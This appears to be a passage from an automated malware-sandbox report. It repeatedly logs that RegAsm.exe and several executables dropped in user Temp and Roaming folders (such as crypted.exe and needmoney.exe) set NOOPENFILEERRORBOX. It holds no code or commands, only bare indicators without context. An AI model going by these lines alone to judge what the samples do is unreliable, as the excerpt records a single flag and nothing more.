Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
